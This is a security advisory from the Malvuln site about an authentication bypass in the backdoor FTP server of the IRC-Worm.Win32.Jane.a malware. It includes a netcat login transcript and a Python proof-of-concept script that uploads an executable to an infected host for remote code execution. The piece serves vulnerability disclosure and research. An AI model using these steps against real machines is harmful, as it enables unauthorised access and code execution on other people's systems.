Tuesday, March 30, 2021

IRC-Worm.Win32.Jane.a Authentication Bypass / Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/2d1d6b0fd55eca12f58b8b6d80f8153f.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: IRC-Worm.Win32.Jane.a
Vulnerability: Authentication Bypass RCE
Description: The backdoor FTP server listens on TCP port 21, upon connecting the server responds with banner "JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )" making it easily identifiable. Adversaries, who can reach the infected host can logon using any arbitrary username password combination. Attackers may then upload executables using PASV, STOR commands which can result in remote code execution.
Type: PE32
MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f
Vuln ID: MVID-2021-0151
Disclosure: 03/29/2021


Exploit/PoC:
nc64.exe 192.168.88.128 21
220 JANE_FTP Server is ready to be hacked !!! thx Del_Armg0 ... ; )
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,88,128,194,82).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.88.128"
#Calculate Server Port 194*256+82 = 49746
PORT=49746
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("IRC-Worm.Win32.Jane.a / Auth Bypass RCE")
print("MD5: 2d1d6b0fd55eca12f58b8b6d80f8153f")
print("By Malvuln");

if __name__=="__main__":
doit()



Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
 

Copyright © 2021 Vulnerability Database | Cyber Details™

thank you Templateism for the design - You should have written the code a little more complicated - Nothing Encrypted anymore